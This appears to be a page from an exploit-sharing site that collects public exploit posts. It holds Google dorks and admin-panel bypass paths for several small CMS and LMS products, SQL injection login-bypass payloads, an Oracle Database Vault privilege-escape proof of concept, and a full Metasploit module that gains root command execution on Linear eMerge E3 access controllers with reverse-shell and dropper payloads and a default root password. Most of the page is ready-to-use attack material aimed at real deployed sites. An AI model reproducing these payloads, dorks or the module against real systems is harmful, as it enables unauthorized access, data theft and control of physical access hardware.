Latest exploits :: CodePwn

<pre><code>==================================================================================================================================== | # Title : Dcastalia CMS v1.2 Unauthorized administrative access Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0.1(64-bit) | | # Vendor : https://dcastalia.com/ | | # Dork : "Designed & developed by dcastalia" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] admin Panle : /admin/site/login [+] Use payload : /admin/Packet.Storm*Security [-] When you add any value (For Example : a path or a variable) after the control panel folder, an error page appears because the required file does not exist. At the same time, it shows you the control panel for the site, and it gives you control powers according to the site, including limited and full ones. [+] https://www.127.0.0.1/admin/Packet%20Storm%20Security or https://www.127.0.0.1.com/admin/rbac/route Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet | | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Corpatech cms v2 SQL Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) | | # Vendor : https://www.corpatech.be/ | | # Dork : CorpaTech SiteAdmin | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] http://127.0.0.1/galleriet.be/shop.php?cat=5 <====| inject here [+] http://127.0.0.1/galleriet.be/admina/ <====| Login Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : BDWeb-Link Lms v1.11.5 Unauthorized administrative access Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) | | # Vendor : https://bdweblink.com | | # Dork : Developed by Developed by BD Web Link | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use the payload to access the control panel and see the administration menu : load-admin-list.php or load-active-user-list.php [+] https://127.0.0.1/bdweblink/load-active-user-list.php or https://127.0.0.1/bdweblink/load-admin-list.php Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : AdminSeg v2.15 Unauthorized administrative access Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0.1(64-bit) | | # Vendor : https://www.arwebs.net/producto/insurance-administration-software.html | | # Dork : AdminSeg v2.15 | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] by using this payload you can access directly at admin panel . [+] payload : /adminseg/polizas.php [+] https://www.127.0.0.1/v2.15/adminseg/polizas.php Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet | | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : ADMINA BULGARIA Ltd v 1.0 SQL Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : http://admina.me/ | | # Dork : " ADMINA BULGARIA Ltd.. All Rights Reserved. ." | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] http://127.0.0.1/ADMINA/news_preview.php?getID=216 <====| inject here [+] http://127.0.0.1/ADMINA/admina/ <====| Login Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Eatself v1.1.5 Auth By Pass Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : https://eatself.com/ | | # Dork : " © Eatself. Tous droits réservés - v1.1.5." | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use payload : user : 'or''='@gmail.com& Pass : 'or''=' (toltal control of admin panel ) [+] https://127.0.0.1/app.eatself/admin-login Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Excel Net Computer Institute Version 4.1 SQL injection authentication bypass Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : https://www.excelnet.org/ | | # Dork : "photos_view.php?pid=" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use path (/new/) to access at admin panel & Full control of website . [+] Use payload for login information = user & pass : 1' or 1=1 -- - [+] https://127.0.0.1/excelnet.41org/new/lead_home.php Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | ======================================================================================================================================= </code></pre>

<pre><code> Title: CVE-2021-2175 – Oracle Database Vault Metadata Exposure Vulnerability Product: Database Manufacturer: Oracle Affected Version(s): 12.1.0.2, 12.2.0.1, 18c, 19c Tested Version(s): 19c Risk Level: low Solution Status: Fixed CVE Reference: CVE-2021-2175 Author of Advisory: Emad Al-Mousa Overview: Oracle database vault is a security feature that imposes segregation of duties such as account managemenet, authorization,....etc. So, in a nutshell a DBA/System Admin with access to "SYS" user has limited power in terms of data viewership, account creation,.....etc. The powers of SYS account are stripped down. ***************************************** Vulnerability Details: Vulnerability in the Database Vault component of Oracle Database Server. Supported versions that are affected are 12.1.0.2, 12.2.0.1, 18c and 19c. Easily exploitable vulnerability allows high privileged attacker having Create Any View, Select Any View privilege with network access via Oracle Net to compromise Database Vault. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Database Vault accessible data [Meta-data]. ***************************************** Proof of Concept (PoC): The DBA_DV_REALM data dictionary view lists the realms (security policies configured for data protection) created in the current database instance, such information SYS user by default has NO ACCESS to since it exposes what security measures of data protection is configured. Access the database as SYS account: sqlplus / as sysdba SQL> SELECT * FROM DBA_DV_REALM; ERROR at line 1: ORA-01031: insufficient privileges // as expected SYS account can't view the database view contents.....However...let us do the following: SQL> create view ORACLE_OCM.DUMMY_V as select * from DBA_DV_REALM; SQL> select * from ORACLE_OCM.DUMMY_V; // ORACLE_OCM account is misconfigured and was granted extra access to the view so when you create the view under it....you will be access the view content....and now you can see/view the vault realm policies are configured to protect what exactly within the database system. ***************************************** References: https://www.oracle.com/security-alerts/cpuapr2021.html https://databasesecurityninja.wordpress.com/2022/02/02/cve-2021-2175-database-vault-metadata-exposure-vulnerability/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-2175 Credit: Emad Al-Mousa: CVE-2021-35576 </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Linear eMerge E3-Series Access Controller Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in the Linear eMerge E3-Series Access Controller. The Linear eMerge E3 versions `1.00-06` and below are vulnerable to unauthenticated command injection in card_scan_decoder.php via the `No` and `door` HTTP GET parameter. Successful exploitation results in command execution as the `root` user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gjoko Krstic <gjoko[at]applied-risk.com>', # Discovery 'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor ], 'References' => [ [ 'CVE', '2019-7256'], [ 'URL', 'https://applied-risk.com/resources/ar-2019-005' ], [ 'URL', 'https://na.niceforyou.com/' ], [ 'URL', 'https://attackerkb.com/topics/8WUJkci8N4/cve-2019-7256' ], [ 'EDB', '47649'], [ 'PACKETSTORM', '155256'] ], 'DisclosureDate' => '2019-10-29', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('ROOT_PASSWORD', [ true, 'default root password on a vulnerable Linear eMerge E3-Series access controller', 'davestyle']), ] ) end def execute_command(cmd, _opts = {}) random_no = rand(30..100) return send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'card_scan_decoder.php'), 'vars_get' => { 'No' => random_no, 'door' => "`echo #{datastore['ROOT_PASSWORD']}|su -c \"#{cmd}\"`" } }) rescue StandardError => e elog("#{peer} - Communication error occurred: #{e.message}", error: e) fail_with(Failure::Unknown, "Communication error occurred: #{e.message}") end # Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution def check print_status("Checking if #{peer} can be exploited.") sleep_time = rand(2..10) print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") res, elapsed_time = Rex::Stopwatch.elapsed_time do execute_command("sleep #{sleep_time}") end return CheckCode::Unknown('No response received from the target!') unless res return CheckCode::Safe('Target is not affected by this vulnerability.') unless res.code == 200 && !res.body.blank? && res.body =~ /"card_format_default":"/ print_status("Elapsed time: #{elapsed_time.round(2)} seconds.") return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time CheckCode::Vulnerable('Successfully tested command injection.') end def exploit case target['Type'] when :unix_cmd print_status("Executing #{target.name} with #{payload.encoded}") # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_command(payload.encoded) when :linux_dropper print_status("Executing #{target.name}") execute_cmdstager(linemax: 262144) end end end </code></pre>